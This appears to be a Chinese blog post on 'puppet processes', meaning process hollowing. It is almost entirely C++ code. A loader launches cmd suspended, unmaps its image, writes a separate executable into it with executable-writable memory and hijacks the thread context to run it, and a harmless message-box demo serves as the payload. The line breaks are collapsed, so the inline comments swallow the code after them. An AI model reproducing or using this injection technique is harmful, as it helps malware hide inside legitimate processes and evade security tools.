傀儡进程的那些事

#include <iostream>#include <Windows.h>const char* g_TargetFile = "D:\Cpp\傀儡进程\Release\demo.exe";typedef NTSTATUS(WINAPI* FnNtUnmapViewOfSection)(HANDLE, PVOID);int main(){ STARTUPINFOA si = { 0 }; si.cb = sizeof(STARTUPINFOA); PROCESS_INFORMATION pi; //以挂起的模式启动一个进程 BOOL bRet = CreateProcessA(NULL, (LPSTR)"cmd", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); //打开文件 HANDLE hFile = CreateFile(g_TargetFile, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL); //获取文件大小 DWORD dwFileSize = GetFileSize(hFile, NULL); //申请一块内存空间 PVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); //将内存读取到申请的内存空间 DWORD dwReadLength = 0; ReadFile(hFile, lpBuffer, dwFileSize, &dwReadLength, NULL); //关闭文件 CloseHandle(hFile); //解析PE文件 //关于解析PE文件     https://bbs.kanxue.com/thread-270585.htm //获取Dos头 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)lpBuffer; //获取Nt头 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (DWORD)lpBuffer); //获取线程上下文 CONTEXT ctx; ctx.ContextFlags = CONTEXT_ALL; GetThreadContext(pi.hThread, &ctx); //获取模块基地址 PVOID lpImageBase; ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8), &lpImageBase, sizeof(PVOID), NULL); if ((DWORD)lpImageBase == pNt->OptionalHeader.ImageBase) {  FnNtUnmapViewOfSection NtUnmapViewOfSection = (FnNtUnmapViewOfSection)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtUnmapViewOfSection");  NtUnmapViewOfSection(pi.hProcess, lpImageBase); } //申请内存设置属性为rwx PVOID lpTargetMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, lpTargetMemory, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL); PIMAGE_SECTION_HEADER pSection; for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) {  pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)lpBuffer + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (sizeof(IMAGE_SECTION_HEADER) * i));  WriteProcessMemory(pi.hProcess, ((LPBYTE)lpTargetMemory + pSection->VirtualAddress), ((LPBYTE)lpBuffer + pSection->PointerToRawData), pSection->SizeOfRawData, NULL); } ctx.Eax = (DWORD)((LPBYTE)lpTargetMemory + pNt->OptionalHeader.AddressOfEntryPoint); //替换PE头 WriteProcessMemory(pi.hProcess, (LPVOID)(ctx.Ebx + sizeof(DWORD) * 2), &pNt->OptionalHeader.ImageBase, sizeof(LPVOID), NULL); SetThreadContext(pi.hThread, &ctx); ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 0;}

#include <windows.h>#include <iostream>using namespace std;int main() { DWORD pid = GetCurrentProcessId(); std::cout << "Current process PID: " << pid << std::endl; MessageBox(NULL, L"This is  a Demo!", L"Msg", MB_OK); return 0;}